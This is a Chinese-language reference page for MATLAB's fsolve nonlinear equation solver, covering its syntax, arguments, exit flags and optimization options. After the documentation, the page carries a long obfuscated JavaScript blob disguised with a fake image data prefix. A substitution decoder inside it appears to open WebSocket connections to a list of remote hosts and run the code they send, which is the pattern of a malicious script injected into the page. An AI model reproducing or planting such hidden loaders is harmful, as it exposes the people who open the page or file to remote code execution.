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1. fsolve
求解非线性方程组
方程:
F(x)=0
x是一个向量,F(x)是该向量的函数向量,返回向量值
2. 语法
x = fsolve(fun,x0)
x = fsolve(fun,x0,options)
[x,fval] = fsolve(fun,x0)
[x,fval,exitflag] = fsolve(...)
[x,fval,exitflag,output] = fsolve(...)
[x,fval,exitflag,output,jacobian] = fsolve(...)
3. 描述
fsolve用于寻找非线性系统方程组的零点。
x = fsolve(fun,x0)以x0为初始值,努力寻找在fun中描述的方程组。
x = fsolve(fun,x0,options) 以x0为初始值,按照指定的优化设置“options”努力寻找在fun中描述的方程组。使用optimset设置这些选项。
[x,fval] = fsolve(fun,x0)返回在解x处的目标函数fun的值
[x,fval,exitflag] = fsolve(...)返回exitflag表示退出条件。
[x,fval,exitflag,output] = fsolve(...)返回output结构,该结构包含了优化信息。
[x,fval,exitflag,output,jacobian] = fsolve(...)返回在解x处的Jacobian函数。
4. 输入参数
4.1. fun
非线性系统方程。它是一个函数,以x作为输入,返回向量F。函数fun可以被指定为一个M文件函数的函数句柄。
x = fsolve(@myfun,x0)
这里的myfun是一个matlab函数,形如:
function F = myfun(x)
F = ... % Compute function values at x
fun也可以是一个异步函数的函数句柄:
x = fsolve(@(x)sin(x.*x),x0);
若用户定义的值为矩阵,则会被自动转换为向量。
若Jacobian能被计算出来且通过options = optimset('Jacobian','on')设置Jacobian选项为”on”,则函数fun必须在第2个输出参数中返回x处的Jacobian值J(它是一个矩阵)。注意:通过检查nargout的值,当fun被只带一个输出参数调用的情况下,该函数可避免计算J,仅只有一个输出参数。(这种情况下,优化算法仅需要知道F而不需J)。
function [F,J] = myfun(x)
F = ... % objective function values at x
if nargout > 1 % two output arguments
J = ... % Jacobian of the function evaluated at x
end
4.2. options
提供该函数有关的特定信息。
5. 输出参数
5.1. exitflag
一个用来表示算法终止原因的整数。
1:函数收敛到x
2:x的变化已经处在容许范围内
3:残差变化已经处在容许范围内
4:搜索方向飞幅度比指定的误差小
5:迭代次数超过options.MaxIter或函数估值的次数超过options.FunEvals
-1:算法被输出函数终止
-2:算法似乎收敛到一个非根点。
-3:可信半径变得太小
-4:沿当前方向的线性搜索不能足够地减小残差
5.2. output
包含关于优化信息的一个结构,其具有如下字段:
iterations:已经迭代的次数
funcCount:函数估值的次数
algorithm:所使用的算法
cgiterations:PCG迭代次数(仅适用于大规模算法)
stepsize:最终采取的步长(仅适用于中等规模算法)
firstorderopt:第1阶优化的观测值 。
5.3. options
优化设置。一些选项设置用于所有算法,部分与大规模算法(large-scale algrithm)。相关,部分与中等规模算法相关。可以使用optimset改变其中的设置。LargeScale选项指定使用哪种算法。
设为‘on’使用大规模算法,设为‘off’使用中等规模算法。
5.3.1. Medium-Scale and Large-Scale Algorithms
如下选项用于大规模和中等规模算法:
DerivativeCheck:将用户提供导数与有限差分导数相比较
Diagnostics:显示被解函数的诊断信息
DiffMaxChange:有限差分变量中的最大变化
DiffMinChange:有限差分变量中的最小变化
Display:显示的级别,‘off‘不显示输出,’iter‘显示每一步迭代的输出,’final‘显示最终的输出(默认)
FunValCheck:检查目标函数值是否有效。设为‘on’,当函数返回值为复数、inf或NaN将返回一个错误,设为‘off’将不显示错误。
Jacobian:设为‘ON’,fsolve将使用用户定义的Jacobian或Jacobian信息来估值目标函数,若设为‘off’,则使用有限差分逼近Jacobian。
MaxFunEvals:最大允许估值次数
MaxIter:最大迭代次数
OutputFcn:指定一个或多个输出函数,优化函数在每一个迭代过程中将调用这些函数。
PlotFcns:算法执行时显示进度条。从预定义中选择或自定义进度条。指定@optimplotx显示当前的点,@optimplotfunccount打印出函数的计数,@optimplotfval打印出函数值,@optimplotresnorm打印出残差范数,@optimplotstepsize打印出步长,@optimplotfirstorderopt打印优化参数的第1阶。
TolFun:函数值的终止误差。
TolX:x的终止误差
5.3.2. 仅适用于Large-Scale Algorithm
JacobMult:Jacobian乘法函数的函数句柄
JacobPattern
MaxPCGIter
PrecondBandWidth
TolPCG
5.3.3. 仅适用于Medium-Scale Algorithm
NonlEqnAlgorithm:
'dogleg' — Trust-region dogleg algorithm
(default)
'lm' — Levenberg-Marquardt
'gn' — Gauss-Newton
LineSearchType:'lm' (Levenberg-Marquardt)
'gn' (Gauss-Netwton) algorithms.
6. 使用优化工具箱完成以上函数操作
命令:optimtool
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF 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